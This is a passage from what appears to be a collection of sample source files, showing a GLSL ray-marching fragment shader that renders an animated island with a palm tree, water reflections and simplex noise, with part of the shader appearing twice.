width = 1.0 - pos.y * 0.02 - clamp(sin(pos.y * 8.0) * 0.1, 0.05, 0.1);\n\t\n\treturn max(length(p.xz) - width, pos.y - 12.5);\n}\n\nvec2 scene(vec3 pos)\n{\n\tfloat vtree = tree(pos);\n\t#ifdef GRASS\n\tfloat vgrass = grass(pos);\n\tfloat v = min(vtree, vgrass);\n\t#else\n\tfloat v = vtree;\n\t#endif\n\treturn vec2(v, v == vtree ? 2.0 : 1.0);\n}\n\nvec3 normal(vec3 pos)\n{\n\tvec2 eps = vec2(1e-3, 0.0);\n\tfloat h = scene(pos).x;\n\treturn normalize(vec3(\n\t\tscene(pos-eps.xyy).x-h,\n\t\tscene(pos-eps.yxy).x-h,\n\t\tscene(pos-eps.yyx).x-h\n\t));\n}\n\nfloat plantsShadow(vec3 rayPos, vec3 rayDir)\n{\n\t// Soft shadow taken from iq\n\tfloat k = 6.0;\n\tfloat t = 0.0;\n\tfloat s = 1.0;\t\n\tfor (int i = 0; i < 30; i++)\n\t{\n\t\tvec3 pos = rayPos+rayDir*t;\t\n\t\tvec2 res = scene(pos);\t\t\n\t\tif (res.x < 0.001) return 0.0;\n\t\ts = min(s, k*res.x/t); \n\t\tt += max(res.x, 0.01);\n\t}\n\t\n\treturn s*s*(3.0 - 2.0*s);\n}\n\n// Ray-traced parts of scene\nvec4 intersectWater(vec3 rayPos, vec3 rayDir)\n{\n\tfloat h = sin(20.5 + iGlobalTime * 2.0) * 0.03;\n\tfloat t = -(rayPos.y + 2.5 + h) / rayDir.y;\n\treturn vec4(0.0, 1.0, 0.0, t);\n}\n\nvec4 intersectSand(vec3 rayPos, vec3 rayDir)\n{\n\treturn intersectSphere(rayPos, rayDir, vec3(0.0,-24.1,0.0), 24.1);\n}\n\nvec4 intersectTreasure(vec3 rayPos, vec3 rayDir)\n{\n\treturn vec4(0.0);\n}\n\nvec4 intersectLeaf(vec3 rayPos, vec3 rayDir, float openAmount)\n{\t\n\tvec3 dir = normalize(vec3(0.0, 1.0, openAmount));\n\tfloat offset = 0.0;\n\t\t\t\n\tvec4 res = intersectPlane(rayPos, rayDir, dir, 0.0);\n\tvec3 pos = rayPos+rayDir*res.w;\n\t#ifdef RAGGED_LEAVES\n\toffset = snoise(pos*0.8) * 0.3;\n\t#endif\n\tif (pos.y > 0.0 || length(pos * vec3(0.9, 2.0, 1.0)) > 4.0 - offset) res.w = 0.0;\n\t\n\tvec4 res2 = intersectPlane(rayPos, rayDir, vec3(dir.xy, -dir.z), 0.0);\n\tpos = rayPos+rayDir*res2.w;\n\t#ifdef RAGGED_LEAVES\n\toffset = snoise(pos*0.8) * 0.3;\n\t#endif\n\tif (pos.y > 0.0 || length(pos * vec3(0.9, 2.0, 1.0)) > 4.0 - offset) res2.w = 0.0;\n\t\n\tif (res2.w > 0.0 && res2.w < res.w || res.w <= 0.0)\n\t\tres = res2;\n\t\t\n\treturn res;\n}\n\nvec4 leaves(vec3 rayPos, vec3 rayDir)\n{\n\tfloat t = 1e20;\n\tvec3 n = vec3(0.0);\n\t\n\trayPos -= leavesPos;\n\t\n\tfloat sway = impulse(15.0, fract(iGlobalTime / PI * 0.125));\n\tfloat upDownSway = sway * -sin(iGlobalTime) * 0.06;\n\tfloat openAmount = sway * max(-cos(iGlobalTime) * 0.4, 0.0);\n\t\n\tfloat angleOffset = -0.1;\t\n\tfor (float k = 0.0; k < 6.2; k += 0.75)\n\t{\n\t\t// Left-right\n\t\tfloat alpha = k + (k - PI) * sway * 0.015;\n\t\tvec3 p = rotate(rayPos, alpha);\n\t\tvec3 d = rotate(rayDir, alpha);\n\t\t\n\t\t// Up-down\n\t\tangleOffset *= -1.0;\n\t\tfloat theta = -0.4 + \n\t\t\tangleOffset + \n\t\t\tcos(k) * 0.35 + \n\t\t\tupDownSway + \n\t\t\tsin(iGlobalTime+k*10.0) * 0.03 * (sway + 0.2);\n\t\t\n\t\tp = rotate(p.xzy, theta).xzy;\n\t\td = rotate(d.xzy, theta).xzy;\n\t\n\t\t// Shift\n\t\tp -= vec3(5.4, 0.0, 0.0);\n\t\t\n\t\t// Intersect individual leaf\n\t\tvec4 res = intersectLeaf(p, d, 1.0+openAmount);\n\t\tif (res.w > 0.0 && res.w < t)\n\t\t{\n\t\t\tt = res.w;\n\t\t\tn = res.xyz;\n\t\t}\n\t}\n\t\n\treturn vec4(n, t);\n}\n\n// Lighting\nfloat shadow(vec3 rayPos, vec3 rayDir)\n{\t\n\tfloat s = 1.0;\n\t\n\t// Intersect sand\n\t//vec4 resSand = intersectSand(rayPos, rayDir);\n\t//if (resSand.w > 0.0) return 0.0;\n\t\n\t// Intersect plants\n\ts = min(s, plantsShadow(rayPos, rayDir));\n\tif (s < 0.0001) return 0.0;\n\t\n\t// Intersect leaves\n\tvec4 resLeaves = leaves(rayPos, rayDir);\n\tif (resLeaves.w > 0.0 && resLeaves.w < 1e7) return 0.0;\n\t\n\treturn s;\n}\n\nvec3 light(vec3 p, vec3 n)\n{\n\tfloat s = 1.0;\n\t\n\t#ifdef SHADOWS\n\ts = shadow(p-sunDir*0.01, -sunDir);\n\t#endif\n\t\n\tvec3 col = sunCol * min(max(dot(n, sunDir), 0.0), s);\n\tcol += skyCol * (-n.y * 0.5 + 0.5) * 0.3;\n\treturn col;\n}\n\nvec3 lightLeaves(vec3 p, vec3 n)\n{\n\tfloat s = 1.0;\n\t\n\t#ifdef SHADOWS\n\ts = shadow(p-sunDir*0.01, -sunDir);\n\t#endif\n\t\n\tfloat ao = min(length(p - leavesPos) * 0.1, 1.0);\n\t\n\tfloat ns = dot(n, sunDir);\n\tfloat d = sqrt(max(ns, 0.0));\n\tvec3 col = sunCol * min(d, s);\n\tcol += sunCol * max(-ns, 0.0) * vec3(0.3, 0.3, 0.1) * ao;\n\tcol += skyCol * (-n.y * 0.5 + 0.5) * 0.3 * ao;\n\treturn col;\n}\n\nvec3 sky(vec3 n)\n{\n\treturn skyCol * (1.0 - n.y * 0.8);\n}\n\n// Ray-marching\nvec4 plants(vec3 rayPos, vec3 rayDir)\n{\n\tfloat t = 0.0;\n\t\n\tfor (int i = 0; i < 40; i++)\n\t{\n\t\tvec3 pos = rayPos+rayDir*t;\t\n\t\tvec2 res = scene(pos);\n\t\tfloat h = res.x;\n\t\t\n\t\tif (h < 0.001)\n\t\t{\n\t\t\tvec3 col = res.y == 2.0 ? treeCol : grassCol;\n\t\t\tfloat uvFact = res.y == 2.0 ? 1.0 : 10.0;\n\t\t\t\n\t\t\tvec3 n = normal(pos);\n\t\t\tvec2 uv = vec2(n.x, pos.y * 0.5) * 0.2 * uvFact;\n\t\t\tvec3 tex = texture2D(iChannel0, uv).rgb * 0.6 + 0.4;\n\t\t\tfloat ao = min(length(pos - leavesPos) * 0.1, 1.0);\n\t\t\treturn vec4(col * light(pos, n) * ao * tex, t);\n\t\t}\n\t\t\n\t\tt += h;\n\t}\n\t\n\treturn vec4(sky(rayDir), 1e8);\n}\n\n// Final combination\nvec3 traceReflection(vec3 rayPos, vec3 rayDir)\n{\n\tvec3 col = vec3(0.0);\n\tfloat t = 1e20;\n\t\t\t\n\t// Intersect plants\n\tvec4 resPlants = plants(rayPos, rayDir);\n\tif (resPlants.w > 0.0 && resPlants.w < t)\n\t{\n\t\tt = resPlants.w;\n\t\tcol = resPlants.xyz;\n\t}\n\t\n\t// Intersect leaves\n\tvec4 resLeaves = leaves(rayPos, rayDir);\n\tif (resLeaves.w > 0.0 && resLeaves.w < t)\n\t{\n\t\tvec3 pos = rayPos + rayDir * resLeaves.w;\n\t\tvec2 uv = (pos.xz - leavesPos.xz) * 0.3;\n\t\tfloat tex = texture2D(iChannel0, uv).r * 0.6 + 0.5;\n\t\t\n\t\tt = resLeaves.w;\n\t\tcol = leavesCol * lightLeaves(pos, resLeaves.xyz) * tex;\n\t}\n\t\t\n\tif (t > 1e7) return sky(rayDir);\n\t\n\treturn col;\n}\n\nvec3 trace(vec3 rayPos, vec3 rayDir)\n{\n\tvec3 col = vec3(0.0);\n\tfloat t = 1e20;\n\t\n\t// Intersect sand\n\tvec4 resSand = intersectSand(rayPos, rayDir);\n\tif (resSand.w > 0.0)\n\t{\n\t\tvec3 pos = rayPos + rayDir * resSand.w;\n\t\tt = resSand.w;\n\n\t\tcol = sandCol * light(pos, resSand.xyz);\n\t}\n\t\n\t// Intersect treasure chest\n\tvec4 resTreasure = intersectTreasure(rayPos, rayDir);\n\tif (resTreasure.w > 0.0 && resTreasure.w < t)\n\t{\n\t\tvec3 pos = rayPos + rayDir * resTreasure.w;\n\t\tt = resTreasure.w;\n\t\tcol = leavesCol * light(pos, resTreasure.xyz);\n\t}\n\t\n\t// Intersect leaves\n\tvec4 resLeaves = leaves(rayPos, rayDir);\n\tif (resLeaves.w > 0.0 && resLeaves.w < t)\n\t{\n\t\tvec3 pos = rayPos + rayDir * resLeaves.w;\n\t\tvec2 uv = (pos.xz - leavesPos.xz) * 0.3;\n\t\tfloat tex = texture2D(iChannel0, uv).r * 0.6 + 0.5;\n\t\t\n\t\tt = resLeaves.w;\n\t\tcol = leavesCol * lightLeaves(pos, resLeaves.xyz) * tex;\n\t}\n\t\n\t// Intersect plants\n\tvec4 resPlants = plants(rayPos, rayDir);\n\tif (resPlants.w > 0.0 && resPlants.w < t)\n\t{\n\t\tt = resPlants.w;\n\t\tcol = resPlants.xyz;\n\t}\n\t\t\n\t// Intersect water\t\n\tvec4 resWater = intersectWater(rayPos, rayDir);\n\tif (resWater.w > 0.0 && resWater.w < t)\n\t{\n\t\tvec3 pos = rayPos + rayDir * resWater.w;\n\t\tfloat dist = t - resWater.w;\n\t\tvec3 n = bump(pos, rayDir);\n\t\t\n\t\tfloat ct = -min(dot(n,rayDir), 0.0);\n\t\tfloat fresnel = 0.9 - 0.9 * pow(1.0 - ct, 5.0);\n\t\t\n\t\tvec3 trans = col * exp(-dist * vec3(1.0, 0.7, 0.4) * 3.0);\n\t\tvec3 reflDir = normalize(reflect(rayDir, n));\n\t\tvec3 refl = sky(reflDir);\n\t\t\n\t\t#ifdef REFLECTIONS\n\t\tif (dot(pos, rayDir) < -2.0)\n\t\t\trefl = traceReflection(pos, reflDir).rgb;\n\t\t#endif\n\t\t\t\t\n\t\tt = resWater.t;\n\t\tcol = mix(refl, trans, fresnel);\n\t}\n\t\n\tif (t > 1e7) return sky(rayDir);\n\t\n\treturn col;\n}\n\n// Ray-generation\nvec3 camera(vec2 px)\n{\n\tvec2 rd = (px / iResolution.yy - vec2(iResolution.x/iResolution.y*0.5-0.5, 0.0)) * 2.0 - 1.0;\n\tfloat t = sin(iGlobalTime * 0.1) * 0.2;\n\tvec3 rayDir = normalize(vec3(rd.x, rd.y, 1.0));\n\tvec3 rayPos = vec3(0.0, 3.0, -18.0);\n\treturn trace(rayPos, rayDir);\n}\n\nvoid main(void)\n{\n\t#ifdef HEAVY_AA\n\t\tvec3 col = camera(gl_FragCoord.xy+vec2(0.0,0.5))*0.25;\n\t\tcol += camera(gl_FragCoord.xy+vec2(0.25,0.0))*0.25;\n\t\tcol += camera(gl_FragCoord.xy+vec2(0.5,0.75))*0.25;\n\t\tcol += camera(gl_FragCoord.xy+vec2(0.75,0.25))*0.25;\n\t#else\n\t\tvec3 col = camera(gl_FragCoord.xy);\n\t\t#ifdef LIGHT_AA\n\t\t\tcol = col * 0.5 + camera(gl_FragCoord.xy+vec2(0.5,0.5))*0.5;\n\t\t#endif\n\t#endif\n\t\n\t#ifdef TONEMAP\n\t// Optimized Haarm-Peter Duiker’s curve\n\tvec3 x = max(vec3(0.0),col*exposure-0.004);\n\tcol = (x*(6.2*x+.5))/(x*(6.2*x+1.7)+0.06);\n\t#else\n\tcol = pow(col, vec3(0.4545));\n\t#endif\n\t\n\tgl_FragColor = vec4(col, 1.0);\n}"
  },
  {
    "path": "samples/GLSL/islandScene.shader",
    "content": "//// High quality (Some browsers may freeze or crash)\n//#define HIGHQUALITY\n\n//// Medium quality (Should be fine on all systems, works on Intel HD2000 on Win7 but quite slow)\n//#define MEDIUMQUALITY\n\n//// Defaults\n//#define REFLECTIONS\n#define SHADOWS\n//#define GRASS\n//#define SMALL_WAVES\n#define RAGGED_LEAVES\n//#define DETAILED_NOISE\n//#define LIGHT_AA // 2 sample SSAA\n//#define HEAVY_AA // 2x2 RG SSAA\n//#define TONEMAP\n\n//// Configurations\n#ifdef MEDIUMQUALITY\n\t#define SHADOWS\n\t#define SMALL_WAVES\n\t#define RAGGED_LEAVES\n\t#define TONEMAP\n#endif\n\n#ifdef HIGHQUALITY\n\t#define REFLECTIONS\n\t#define SHADOWS\n\t//#define GRASS\n\t#define SMALL_WAVES\n\t#define RAGGED_LEAVES\n\t#define DETAILED_NOISE\n\t#define LIGHT_AA\n\t#define TONEMAP\n#endif\n\n// Constants\nconst float eps = 1e-5;\nconst float PI = 3.14159265359;\n\nconst vec3 sunDir = vec3(0.79057,-0.47434, 0.0);\nconst vec3 skyCol = vec3(0.3, 0.5, 0.8);\nconst vec3 sandCol = vec3(0.9, 0.8, 0.5);\nconst vec3 treeCol = vec3(0.8, 0.65, 0.3);\nconst vec3 grassCol = vec3(0.4, 0.5, 0.18);\nconst vec3 leavesCol = vec3(0.3, 0.6, 0.2);\nconst vec3 leavesPos = vec3(-5.1,13.4, 0.0);\n\n#ifdef TONEMAP\nconst vec3 sunCol = vec3(1.8, 1.7, 1.6);\n#else\nconst vec3 sunCol = vec3(0.9, 0.85, 0.8);\n#endif\n\nconst float exposure = 1.1; // Only used when tonemapping\n\n// Description : Array and textureless GLSL 2D/3D/4D simplex\n// noise functions.\n// Author : Ian McEwan, Ashima Arts.\n// License : Copyright (C) 2011 Ashima Arts. All rights reserved.\n// Distributed under the MIT License. See LICENSE file.\n// https://github.com/ashima/webgl-noise\nvec3 mod289(vec3 x) {\n  return x - floor(x * (1.0 / 289.0)) * 289.0;\n}\n\nvec4 mod289(vec4 x) {\n  return x - floor(x * (1.0 / 289.0)) * 289.0;\n}\n\nvec4 permute(vec4 x) {\n     return mod289(((x*34.0)+1.0)*x);\n}\n\nvec4 taylorInvSqrt(vec4 r) {\n  return 1.79284291400159 - 0.85373472095314 * r;\n}\n\nfloat snoise(vec3 v) {\n  const vec2 C = vec2(1.0/6.0, 1.0/3.0) ;\n  const vec4 D = vec4(0.0, 0.5, 1.0, 2.0);\n\n// First corner\n  vec3 i = floor(v + dot(v, C.yyy) );\n  vec3 x0 = v - i + dot(i, C.xxx) ;\n\n// Other corners\n  vec3 g = step(x0.yzx, x0.xyz);\n  vec3 l = 1.0 - g;\n  vec3 i1 = min( g.xyz, l.zxy );\n  vec3 i2 = max( g.xyz, l.zxy );\n\n  // x0 = x0 - 0.0 + 0.0 * C.xxx;\n  // x1 = x0 - i1 + 1.0 * C.xxx;\n  // x2 = x0 - i2 + 2.0 * C.xxx;\n  // x3 = x0 - 1.0 + 3.0 * C.xxx;\n  vec3 x1 = x0 - i1 + C.xxx;\n  vec3 x2 = x0 - i2 + C.yyy; // 2.0*C.x = 1/3 = C.y\n  vec3 x3 = x0 - D.yyy; // -1.0+3.0*C.x = -0.5 = -D.y\n\n// Permutations\n  i = mod289(i);\n  vec4 p = permute( permute( permute(\n             i.z + vec4(0.0, i1.z, i2.z, 1.0 ))\n           + i.y + vec4(0.0, i1.y, i2.y, 1.0 ))\n           + i.x + vec4(0.0, i1.x, i2.x, 1.0 ));\n\n// Gradients: 7x7 points over a square, mapped onto an octahedron.\n// The ring size 17*17 = 289 is close to a multiple of 49 (49*6 = 294)\n  float n_ = 0.142857142857; // 1.0/7.0\n  vec3 ns = n_ * D.wyz - D.xzx;\n\n  vec4 j = p - 49.0 * floor(p * ns.z * ns.z); // mod(p,7*7)\n\n  vec4 x_ = floor(j * ns.z);\n  vec4 y_ = floor(j - 7.0 * x_ ); // mod(j,N)\n\n  vec4 x = x_ *ns.x + ns.yyyy;\n  vec4 y = y_ *ns.x + ns.yyyy;\n  vec4 h = 1.0 - abs(x) - abs(y);\n\n  vec4 b0 = vec4( x.xy, y.xy );\n  vec4 b1 = vec4( x.zw, y.zw );\n\n  //vec4 s0 = vec4(lessThan(b0,0.0))*2.0 - 1.0;\n  //vec4 s1 = vec4(lessThan(b1,0.0))*2.0 - 1.0;\n  vec4 s0 = floor(b0)*2.0 + 1.0;\n  vec4 s1 = floor(b1)*2.0 + 1.0;\n  vec4 sh = -step(h, vec4(0.0));\n\n  vec4 a0 = b0.xzyw + s0.xzyw*sh.xxyy ;\n  vec4 a1 = b1.xzyw + s1.xzyw*sh.zzww ;\n\n  vec3 p0 = vec3(a0.xy,h.x);\n  vec3 p1 = vec3(a0.zw,h.y);\n  vec3 p2 = vec3(a1.xy,h.z);\n  vec3 p3 = vec3(a1.zw,h.w);\n\n//Normalise gradients\n  vec4 norm = taylorInvSqrt(vec4(dot(p0,p0), dot(p1,p1), dot(p2, p2), dot(p3,p3)));\n  p0 *= norm.x;\n  p1 *= norm.y;\n  p2 *= norm.z;\n  p3 *= norm.w;\n\n// Mix final noise value\n  vec4 m = max(0.6 - vec4(dot(x0,x0), dot(x1,x1), dot(x2,x2), dot(x3,x3)), 0.0);\n  m = m * m;\n  return 42.0 * dot( m*m, vec4( dot(p0,x0), dot(p1,x1),\n                                dot(p2,x2), dot(p3,x3) ) );\n}\n\n\n\n// Main\nfloat fbm(vec3 p)\n{\n\tfloat final = snoise(p); \n\tp *= 1.94; final += snoise(p) * 0.5;\n\t#ifdef DETAILED_NOISE\n\tp *= 3.75; final += snoise(p) * 0.25;\n\treturn final / 1.75;\n\t#else\n\treturn final / 1.5;\n\t#endif\n}\n\nfloat waterHeight(vec3 p)\n{\n\tfloat d = length(p.xz);\n\tfloat h = sin(d * 1.5 + iGlobalTime * 3.0) * 12.0 / d; // Island waves\n\t#ifdef SMALL_WAVES\n\th += fbm(p*0.5); // Other waves\n\t#endif\n\treturn h;\n}\n\nvec3 bump(vec3 pos, vec3 rayDir)\n{\n\tfloat s = 2.0;\n\t\n\t// Fade out waves to reduce aliasing\n\tfloat dist = dot(pos, rayDir);\n\ts *= dist < 2.0 ? 1.0 : 1.4142 / sqrt(dist);\n\t\n\t// Calculate normal from heightmap\n\tvec2 e = vec2(1e-2, 0.0);\n\tvec3 p = vec3(pos.x, iGlobalTime*0.5, pos.z)*0.7;\n\tfloat m = waterHeight(p)*s;\n\treturn normalize(vec3(\n\t\twaterHeight(p+e.xyy)*s-m,\n\t\t1.0,\n\t\twaterHeight(p+e.yxy)*s-m\n\t));\n}\n\n// Ray intersections\nvec4 intersectSphere(vec3 rpos, vec3 rdir, vec3 pos, float rad)\n{\n\tvec3 op = pos - rpos;\n\tfloat b = dot(op, rdir); \n\tfloat det = b*b - dot(op, op) + rad*rad; \n\t\t\n\tif (det > 0.0)\n\t{\n\t\tdet = sqrt(det);\n\t\tfloat t = b - det;\n\t\tif (t > eps)\n\t\t\treturn vec4(-normalize(rpos+rdir*t-pos), t);\n\t}\n\t\n\treturn vec4(0.0);\n}\n\nvec4 intersectCylinder(vec3 rpos, vec3 rdir, vec3 pos, float rad)\n{\n\tvec3 op = pos - rpos;\n\tvec2 rdir2 = normalize(rdir.yz);\n\tfloat b = dot(op.yz, rdir2);\n\tfloat det = b*b - dot(op.yz, op.yz) + rad*rad; \n\t\n\tif (det > 0.0)\n\t{\n\t\tdet = sqrt(det);\n\t\tfloat t = b - det;\n\t\tif (t > eps)\n\t\t\treturn vec4(-normalize(rpos.yz+rdir2*t-pos.yz), 0.0, t);\n\t\tt = b + det;\n\t\tif (t > eps)\n\t\t\treturn vec4(-normalize(rpos.yz+rdir2*t-pos.yz), 0.0, t);\n\t}\n\t\n\treturn vec4(0.0);\n}\n\nvec4 intersectPlane(vec3 rayPos, vec3 rayDir, vec3 n, float d)\n{\n\tfloat t = -(dot(rayPos, n) + d) / dot(rayDir, n);\n\treturn vec4(n * sign(dot(rayDir, n)), t);\n}\n\n// Helper functions\nvec3 rotate(vec3 p, float theta)\n{\n\tfloat c = cos(theta), s = sin(theta);\n\treturn vec3(p.x * c + p.z * s, p.y,\n\t\t\t\tp.z * c - p.x * s);\n}\n\nfloat impulse(float k, float x) // by iq\n{\n    float h = k*x;\n    return h * exp(1.0 - h);\n}\n\n// Raymarched parts of scene\nfloat grass(vec3 pos)\n{\n\tfloat h = length(pos - vec3(0.0, -7.0, 0.0)) - 8.0;\n\t\n\tif (h > 2.0) return h; // Optimization (Avoid noise if too far away)\n\t\n\treturn h + snoise(pos * 3.0) * 0.1 + pos.y * 0.9;\n}\n\nfloat tree(vec3 pos)\n{\n\tpos.y -= 0.5;\n\tfloat s = sin(pos.y*0.03);\n\tfloat c = cos(pos.y*0.03);\n\tmat2 m = mat2(c, -s, s, c);\n\tvec3 p = vec3(m*pos.xy, pos.z);\n\t\n\tfloat width = 1.0 - pos.y * 0.02 - clamp(sin(pos.y * 8.0) * 0.1, 0.05, 0.1);\n\t\n\treturn max(length(p.xz) - width, pos.y - 12.5);\n}\n\nvec2 scene(vec3 pos)\n{\n\tfloat vtree = tree(pos);\n\t#ifdef GRASS\n\tfloat vgrass = grass(pos);\n\tfloat v = min(vtree, vgrass);\n\t#else\n\tfloat v = vtree;\n\t#endif\n\treturn vec2(v, v == vtree ? 2.0 : 1.0);\n}\n\nvec3 normal(vec3 pos)\n{\n\tvec2 eps = vec2(1e-3, 0.0);\n\tfloat h = scene(pos).x;\n\treturn normalize(vec3(\n\t\tscene(pos-eps.xyy).x-h,\n\t\tscene(pos-eps.yxy).x-h,\n\t\tscene(pos-eps.yyx).x-h\n\t));\n}\n\nfloat plantsShadow(vec3 rayPos, vec3 rayDir)\n{\n\t// Soft shadow taken from iq\n\tfloat k = 6.0;\n\tfloat t = 0.0;\n\tfloat s = 1.0;\t\n\tfor (int i = 0; i < 30; i++)\n\t{\n\t\tvec3 pos = rayPos+rayDir*t;\t\n\t\tvec2 res = scene(pos);\t\t\n\t\tif (res.x < 0.001) return 0.0;\n\t\ts = min(s, k*res.x/t); \n\t\tt += max(res.x, 0.01);\n\t}\n\t\n\treturn s*s*(3.0 - 2.0*s);\n}\n\n// Ray-traced parts of scene\nvec4 intersectWater(vec3 rayPos, vec3 rayDir)\n{\n\tfloat h = sin(20.5 + iGlobalTime * 2.0) * 0.03;\n\tfloat t = -(rayPos.y + 2.5 + h) / rayDir.y;\n\treturn vec4(0.0, 1.0, 0.0, t);\n}\n\nvec4 intersectSand(vec3 rayPos, vec3 rayDir)\n{\n\treturn intersectSphere(rayPos, rayDir, vec3(0.0,-24.1,0.0), 24.1);\n}\n\nvec4 intersectTreasure(vec3 rayPos, vec3 rayDir)\n{\n\treturn vec4(0.0);\n}\n\nvec4 intersectLeaf(vec3 rayPos, vec3 rayDir, float openAmount)\n{\t\n\tvec3 dir = normalize(vec3(0.0, 1.0, openAmount));\n\tfloat offset = 0.0;\n\t\t\t\n\tvec4 res = intersectPlane(rayPos, rayDir, dir, 0.0);\n\tvec3 pos = rayPos+rayDir*res.w;\n\t#ifdef RAGGED_LEAVES\n\toffset = snoise(pos*0.8) * 0.3;\n\t#endif\n\tif (pos.y > 0.0 || length(pos * vec3(0.9, 2.0, 1.0)) > 4.0 - offset) res.w = 0.0;\n\t\n\tvec4 res2 = intersectPlane(rayPos, rayDir, vec3(dir.xy, -dir.z), 0.0);\n\tpos = rayPos+rayDir*res2.w;\n\t#ifdef RAGGED_LEAVES\n\toffset = snoise(pos*0.8) * 0.3;\n\t#endif\n\tif (pos.y > 0.0 || length(pos * vec3(0.9, 2.0, 1.0)) > 4.0 - offset) res2.w = 0.0;\n\t\n\tif (res2.w > 0.0 && res2.w < res.w || res.w <= 0.0)\n\t\tres = res2;\n\t\t\n\treturn res;\n}\n\nvec4 leaves(vec3 rayPos, vec3 rayDir)\n{\n\tfloat t = 1e20;\n\tvec3 n = vec3(0.0);\n\t\n\trayPos -= leavesPos;\n\t\n\tfloat sway = impulse(15.0, fract(iGlobalTime / PI * 0.125));\n\tfloat upDownSway = sway * -sin(iGlobalTime) * 0.06;\n\tfloat openAmount = sway * max(-cos(iGlobalTime) * 0.4, 0.0);\n\t\n\tfloat angleOffset = -0.1;\t\n\tfor (float k = 0.0; k < 6.2; k += 0.75)\n\t{\n\t\t// Left-right\n\t\tfloat alpha = k + (k - PI) * sway * 0.015;\n\t\tvec3 p = rotate(rayPos, alpha);\n\t\tvec3 d = rotate(rayDir, alpha);\n\t\t\n\t\t// Up-down\n\t\tangleOffset *= -1.0;\n\t\tfloat theta = -0.4 + \n\t\t\tangleOffset + \n\t\t\tcos(k) * 0.35 + \n\t\t\tupDownSway + \n\t\t\tsin(iGlobalTime+k*10.0) * 0.03 * (sway + 0.2);\n\t\t\n\t\tp = rotate(p.xzy, theta).xzy;\n\t\td = rotate(d.xzy, theta).xzy;\n\t\n\t\t// Shift\n\t\tp -= vec3(5.4, 0.0, 0.0);\n\t\t\n\t\t// Intersect individual leaf\n\t\tvec4 res = intersectLeaf(p, d, 1.0+openAmount);\n\t\tif (res.w > 0.0 && res.w < t)\n\t\t{\n\t\t\tt = res.w;\n\t\t\tn = res.xyz;\n\t\t}\n\t}\n\t\n\treturn vec4(n, t);\n}\n\n// Lighting\nfloat shadow(vec3 rayPos, vec3 rayDir)\n{\t\n\tfloat s = 1.0;\n\t\n\t// Intersect sand\n\t//vec4 resSand = intersectSand(rayPos, rayDir);\n\t//if (resSand.w > 0.0) return 0.0;\n\t\n\t// Intersect plants\n\ts = min(s, plantsShadow(rayPos, rayDir));\n\tif (s < 0.0001) return 0.0;\n\t\n\t// Intersect leaves\n\tvec4 resLeaves = leaves(rayPos, rayDir);\n\tif (resLeaves.w > 0.0 && resLeaves.w < 1e7) return 0.0;\n\t\n\treturn s;\n}\n\nvec3 light(vec3 p, vec3 n)\n{\n\tfloat s = 1.0;\n\t\n\t#ifdef SHADOWS\n\ts = shadow(p-sunDir*0.01, -sunDir);\n\t#endif\n\t\n\tvec3 col = sunCol * min(max(dot(n, sunDir), 0.0), s);\n\tcol += skyCol * (-n.y * 0.5 + 0.5) * 0.3;\n\treturn col;\n}\n\nvec3 lightLeaves(vec3 p, vec3 n)\n{\n\tfloat s = 1.0;\n\t\n\t#ifdef SHADOWS\n\ts = shadow(p-sunDir*0.01, -sunDir);\n\t#endif\n\t\n\tfloat ao = min(length(p - leavesPos) * 0.1, 1.0);\n\t\n\tfloat ns = dot(n, sunDir);\n\tfloat d = sqrt(max(ns, 0.0));\n\tvec3 col = sunCol * min(d, s);\n\tcol += sunCol * max(-ns, 0.0) * vec3(0.3, 0.3, 0.1) * ao;\n\tcol += skyCol * (-n.y * 0.5 + 0.5) * 0.3 * ao;\n\treturn col;\n}\n\nvec3 sky(vec3 n)\n{\n\treturn skyCol * (1.0 - n.y * 0.8);\n}\n\n// Ray-marching\nvec4 plants(vec3 rayPos, vec3 rayDir)\n{\n\tfloat t = 0.0;\n\t\n\tfor (int i = 0; i < 40; i++)\n\t{\n\t\tvec3 pos = rayPos+rayDir*t;\t\n\t\tvec2 res = scene(pos);\n\t\tfloat h = res.x;\n\t\t\n\t\tif (h < 0.001)\n\t\t{\n\t\t\tvec3 col = res.y == 2.0 ? treeCol : grassCol;\n\t\t\tfloat uvFact = res.y == 2.0 ? 1.0 : 10.0;\n\t\t\t\n\t\t\tvec3 n = normal(pos);\n\t\t\tvec2 uv = vec2(n.x, pos.y * 0.5) * 0.2 * uvFact;\n\t\t\tvec3 tex = texture2D(iChannel0, uv).rgb * 0.6 + 0.4;\n\t\t\tfloat ao = min(length(pos - leavesPos) * 0.1, 1.0);\n\t\t\treturn vec4(col * light(pos, n) * ao * tex, t);\n\t\t}\n\t\t\n\t\tt += h;\n\t}\n\t\n\treturn vec4(sky(rayDir), 1e8);\n}\n\n// Final combination\nvec3 traceReflection(vec3 rayPos, vec3 rayDir)\n{\n\tvec3 col = vec3(0.0);\n\tfloat t = 1e20;\n\t\t\t\n\t// Intersect plants\n\tvec4 resPlants = plants(rayPos, rayDir);\n\tif (resPlants.w > 0.0 && resPlants.w < t)\n\t{\n\t\tt = resPlants.w;\n\t\tcol = resPlants.xyz;\n\t}\n\t\n\t// Intersect leaves\n\tvec4 resLeaves = leaves(rayPos, rayDir);\n\tif (resLeaves.w > 0.0 && resLeaves.w < t)\n\t{\n\t\tvec3 pos = rayPos + rayDir * resLeaves.w;\n\t\tvec2 uv = (pos.xz - leavesPos.xz) * 0.3;\n\t\tfloat tex = texture2D(iChannel0, uv).r * 0.6 + 0.5;\n\t\t\n\t\tt = resLeaves.w;\n\t\tcol = leavesCol * lightLeaves(pos, resLeaves.xyz) * tex;\n\t}\n\t\t\n\tif (t > 1e7) return sky(rayDir);\n\t\n\treturn col;\n}\n\nvec3 trace(vec3 rayPos, vec3 rayDir)\n{\n\tvec3 col = vec3(0.0);\n\tfloat t = 1e20;\n\t\n\t// Intersect sand\n\tvec4 resSand = intersectSand(rayPos, rayDir);\n\tif (resSand.w > 0.0)\n\t{\n\t\tvec3 pos = rayPos + rayDir * resSand.w;\n\t\tt = resSand.w;\n\n\t\tcol = sandCol * light(pos, resSand.xyz);\n\t}\n\t\n\t// Intersect treasure chest\n\tvec4 resTreasure = intersectTreasure(rayPos, rayDir);\n\tif (resTreasure.w > 0.0 && resTreasure.w < t)\n\t{\n\t\tvec3 pos = rayPos + rayDir * resTreasure.w;\n\t\tt = resTreasure.w;\n\t\tcol = leavesCol * light(pos, resTreasure.xyz);\n\t}\n\t\n\t// Intersect leaves\n\tvec4 resLeaves = leaves(rayPos, rayDir);\n\tif (resLeaves.w > 0.0 && resLeaves.w < t)\n\t{\n\t\tvec3 pos = rayPos + rayDir * resLeaves.w;\n\t\tvec2 uv = (pos.xz - leavesPos.xz) * 0.3;\n\t\tfloat 